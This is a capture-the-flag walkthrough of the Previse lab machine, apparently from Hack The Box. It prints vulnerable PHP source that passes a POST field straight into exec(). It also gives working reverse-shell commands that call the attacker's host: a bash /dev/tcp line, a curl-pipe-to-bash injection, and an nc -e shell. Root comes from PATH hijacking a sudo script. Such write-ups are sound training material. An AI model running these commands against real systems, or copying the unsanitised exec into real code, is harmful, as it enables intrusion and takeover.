Previse
Enumeration
Ports and Services
Software Installed:
Nmap Scan Results:
Nikto Scan:
WFuzz:
Homepage:
Accounts.php:
Initial Foothold
- Created a post request to accounts.php and created an account
1.
- Found SiteBackup.zip in Files menu:
1.
2. URL: http://10.129.231.22/download.php?file=32 -
Unzipping and found that logs.php has some delimiting: 1.
2. <?php
session_start();
if (!isset($_SESSION[‘user’])) {
header(‘Location: login.php’);
exit;
}
?><?php if (!$_SERVER[‘REQUEST_METHOD’] == ‘POST’) { header(‘Location: login.php’); exit; }
///////////////////////////////////////////////////////////////////////////////////// //I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER// /////////////////////////////////////////////////////////////////////////////////////
$output = exec(“/usr/bin/python /opt/scripts/log_process.py {$_POST[‘delim’]}”); echo $output;
$filepath = “/var/www/out.log”; $filename = “out.log”;
if(file_exists($filepath)) { header(‘Content-Description: File Transfer’); header(‘Content-Type: application/octet-stream’); header(‘Content-Disposition: attachment; filename=”‘.basename($filepath).’”’); header(‘Expires: 0’); header(‘Cache-Control: must-revalidate’); header(‘Pragma: public’); header(‘Content-Length: ‘ . filesize($filepath)); ob_clean(); // Discard data in the output buffer flush(); // Flush system headers readfile($filepath); die(); } else { http_response_code(404); die(); } ?>
3. Sent a URL encoded comma delimited command to test code executiion:
1. 
2. 
4. Reverse Shell:
1. Create a reverse shell bash script
1. bash -i >& /dev/tcp/10.10.14.53/8888 0>&1
2. Executed reverse shell while listening:
1. comma%26/usr/bin/curl+http://10.10.14.53/shell|bash
2. 
3. 
2. MySQL Info:
1. 
3. Dumped accounts
1. 
4. Cracked password with hashcat
1. 
5. SSH as user m4lwhere
User.txt Proof Screenshot
Privilege Escalation
Sudo -l shows I can run /opt/scripts/access_backups.sh as root
Content of script:
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
GZip does not use full path
Created script /tmp/gzip:
#!/bin/bash
nc -e /bin/sh 10.10.14.53 8888
Export path so that /tmp is first
CMD: export PATH =/tmp:$PATH
Ran sudo /opt/scripts/access_backup.sh while listening and received a root
reverse shell
RootScreenshot Here:
